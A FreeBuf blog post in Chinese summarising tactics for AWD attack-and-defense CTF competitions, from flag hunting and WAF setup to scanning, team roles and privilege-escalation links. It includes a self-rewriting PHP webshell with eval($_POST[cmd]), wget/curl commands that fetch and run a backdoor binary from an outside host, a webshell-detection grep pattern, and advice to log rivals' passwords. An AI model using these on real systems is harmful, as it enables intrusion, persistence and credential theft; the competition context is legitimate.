freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

AWD总述以及心得总结
2021-08-05 12:46:19

一.找flag

find / -name *flag*
grep -rn "flag" *

找到直接读取,数据可能会太多了
cat $(find / -name *flag*)

二.删除不死马

1.命令kill

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

2.条件竞争

循环写入或者循环删除

#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh

三.脚本

1.某github脚本

批量登陆ssh,修改ssh密码/执行ssh命令

实现半自动化批量攻击,需要指定payload,以及一句话木马

通过webshell在同目录下种植指定的木马,xnianq.txt中为内存马。

获取到的flag进行提交

https://github.com/xnianq/awd-frame

依赖:

pip install -r Requirement.txt

使用:

python awd-frame.py

说明:

要出外网,下载python的模块,并且有python环境。

2.自动化脚本

https://github.com/dahua966/WEB-AWD-Framework


根目录

Beat.py 攻击脚本

修改内容

setting.py里面flag的格式

交flag机的参数

contro.py里面交flag的函数

backdoor.c 里面回连IP

filecmp里面文件夹位置

防御

(找到代码位置)拖源代码

自己给自己上一句话,用www-data的权限给自己回连内存马

文件监控

抓流量*

流量分析

交flag机调试成功

攻击

webshell扫描一波

发现目标页面

批量攻击

上马

gcc -o check backdoor.c -lpthread -g

cd /tmp&&wget -O check 192.168.1.143/upload/check&&chmod +x check&&./check

cd /tmp;curl -o check 192.168.1.143/check;chmod +x check;./check

垃圾流量

notice

www-data 无法直接反弹shell,不能执行python -c

无法写日志:open_basedir限制,或/tmp权限不足(chmod 777 -R /tmp/log; chown www-data:www-data -R /tmp/log)

运维命令

源码备份

cd /var/www/html && zip -r www.zip./*

scp (-i id_rsa) root@127.0.0.1:/var/www/html/www.zip./

或者直接 scp (-i id_rsa) -r root@127.0.0.1:/var/www/html/ ./www

数据库备份 mysqldump -u root -p test(数据库名) > test.sql

检查flag

find -name "*.txt" | xargs cat | grep -B 10 -E "\w{4}-\w{4}-\w{4}-\w{4}-\w{3}-\w{4}"

上WAF

find /var/www/html -name "*.php"|xargs sed -i "s#<?php#<?php\ninclude_once('/var/www/html/log.php');\n#g"

快速查一下shell

-find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

循环杀PHP内存马

while true
do
rm .demo.php
done

3.攻击和waf

https://github.com/sarleon/AWD-helper

攻击脚本,waf,等一些命令。

4.综合利用工具

https://github.com/ssooking/CTFDefense

1.ctf-firewall.sh

iptables配置命令,可一键执行快速配置。使用时可能需要根据环境略微修改
自己修改一键使用

2.commannd.md

一些线下赛中常用的linux操作命令

3.getRoot

一些本地提权poc,每个文件里都有详细的使用注释,编译好的文件在release目录下。还有几个实用脚本

枯燥且使用,自行再总结

4.Monitor

一个简单的文件监控示例脚本,可以监控创建、删除、移动、属性修改操作,自动删除新增文件或目录。已使用pyinstaller打包成了linux可执行程序

5. WAF

linux版安全狗和几个waf脚本

5.合集

https://github.com/admintony/Prepare-for-AWD

6.php的web流量抓取、分析的应用

https://github.com/wupco/weblogger

类似于一个web应用,UI界面还不错

7.AWD-Predator-Framework-master-一键的使用

https://github.com/Ares-X/AWD-Predator-Framework

感觉还行不错的项目,推荐使用。

8.AoiAWD-master-重量级

EDR

类似于态势感知设备,使用前布置探针,可以探测文件创建,进程,以及数据包重放。

局限性:初始权限不能太低,因为是桥接一个人的ip至少要两个。

9.watchbird-轻量级

https://github.com/leohearts/awd-watchbird

易于配置(单文件, 无需加载外部js/css)

可以随时开启/关闭某项防御

基本防御:

数据库注入(sql injection)

文件上传(upload)

文件包含(lfi)

flag关键字

PHP反序列化(unserialize)

命令执行(rce)

分布式拒绝服务攻击(ddos)

请求头,请求参数(GET/POST)关键字

特殊字符

深度防御:

响应检测/反向代理(默认将流量发送至本地服务器自检,可配置代理服务器IP及端口实现反代功能)

响应flag检测并返回虚假flag

基于LD_PRELOAD的指令执行保护

基于open_basedir的PHP文件操作保护

网页控制台:

功能开关及配置

实时日志查看

日志流量重放, 可广播流量至指定网段, 支持提取flag自动提交

RCE/文件上传/深度检测 防御通知(由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)

使用:

下载最新版本

将waf.so,watchbird.php文件存放在/var/www/html或其他目录中

将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行

php watchbird.php --install [Web目录]

, 安装器将输出安装了watchbird的文件路径

访问任意启用了waf的文件, 参数

?watchbird=ui

打开watchbird控制台, 创建一个初始密码

如需卸载, 请在相同的位置输入

php watchbird.php --uninstall [Web目录]

, 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出

四.主机发现

1.nmap

nmap -sP 192.168.1.0/24

2.ping/sh脚本

#!/bin/bash
for ((i=1;i<=254;i++));do
ping -c1 192.168.100.$i
if [ $? -eq 0 ];then
echo "192.168.100.$i">>ip.txt
fi
done
​
-----------------------------------------
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.2.%I | findstr "TTL="   用Ping命令

3.arp发现

4.其他

漏洞等,例如dns域传送漏洞等等

5.httpscan

./httpscan.py 10.20.30.0/24 –t 10

6.追踪,溯源,反制

五.不死马

什么是不死马?

不死马就是上传到目标网站后,访问一次执行,创造一个永远在内存之中不断写入木马代码的程序,无限执行。

常见不死马代码:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.func.php';
$code = '<?php eval($_POST[cmd]); ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2021-08-02 18:11:09" .func.php');
usleep(1000);
}
?>

六.扫描器

1.漏洞扫描

主机扫描:
nexus
web漏洞:
appscan
goby(慢,基于nmap)
xray
fscan(快速)
awvs
Nikto
sql:
sqlmap
mdat
mdut
...
漏洞检测工具主要是开拓思维,实际情况用的并不是很多。

2.自我漏洞修复

seay(php)

源码漏洞扫描,代码审计 ​ 上述扫描扫自己,自检,理论上自己发现越多越好。 ​ 前期收集各种漏洞扫描脚本

goby(工具)

漏洞扫描,及时发现漏洞自行修复

寻找指定web应用版本

每个人的web环境应该都是一样的,发现自己的web应用的版本,以及历史出现的漏洞情况。这里推荐收集一些cms或者web应用的漏洞利用脚本,并且可以根据情况进行源码级别的修复。

七.权限问题

linux提权

这里直接引用cmrex大佬的博客,写的适合初学者入门。

https://www.cmrex.club/?p=321

windows提权

这里直接引用cmrex大佬的博客,写的适合初学者入门。

https://www.cmrex.club/?p=353

数据库提权

mysql:
udf,mof提权。
SQLServer:
sa权限的全,各种组件等。

绕过PHP disable_function

这里直接引用cmrex大佬的博客,写的适合初学者入门。

https://www.cmrex.club/?p=395

工具使用

metasploit也内置了提权的功能,以及其他的作用。

八.防守

看日志

nginx日志,apache日志,java应用的一般比较少,即使出现也是比较常见的例如:weblogic,jboss,shiro等

可以尝试使用流量监控脚本

用户登陆处

可以代码处修改将用户输入的内容写入到某个文件中,可以记录别的选手的密码,可能会有些人用自己的密码试别人的密码,然后我们可以用这个方式进行反打。

应急响应

这里参考应急响应笔记
https://github.com/Bypass007/Emergency-Response-Notes

九.总体思路

1.队伍分配

三人分工协作:(经验所得)

A:防御手。

负责整体防御,收到B的修复信息进行源码修复。同时寻找web应用历史出现的漏洞进行修复。如果有空可以协助C或者B。检测日志,将利用成功的信息发送给C编写攻击脚本批量。上手第一时间上脚本,waf,等一些自动化提高效率的东西。

B:代码审计手。

前期帮助C收集信息。中期负责队伍web应用代码审计。及时发现漏洞,告知A修复,同时告诉C,准备好攻击脚本给C使用,获得flag批量提交。

C:进攻手。

主机发现,黑盒攻击,扫描,寻找历史漏洞以及编写攻击脚本。收到A的攻击payload编写脚本进行攻击批量。编写漏洞脚本批量getshell和批量getflag,批量提交。

2.比赛流程

1.上线

拿到ssh账号后第一时间修改强口令,然后尝试登录其他选手的账号。

备份网站源码,数据库到本地,防止其他选手搞破坏或者自己人失误操作。

找到数据库账号密码登录。

上waf,如果不行,上流量监控或者日种子监控脚本。

2.比赛

批量脚本,这点很重要,提高效率。

队友互相配合,尽量减少不熟练导致的沟通障碍以及技术问题。

趁中午或者休息时间,进行攻击,正式别的选手松懈的时候。

比赛即将结束时,很多队伍会垂直上分,小心,建议自己手上也存留一些资本。

欢迎大家批评指正:cmrex123@163.com

# web安全 # 系统安全 # 数据安全 # AWD
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录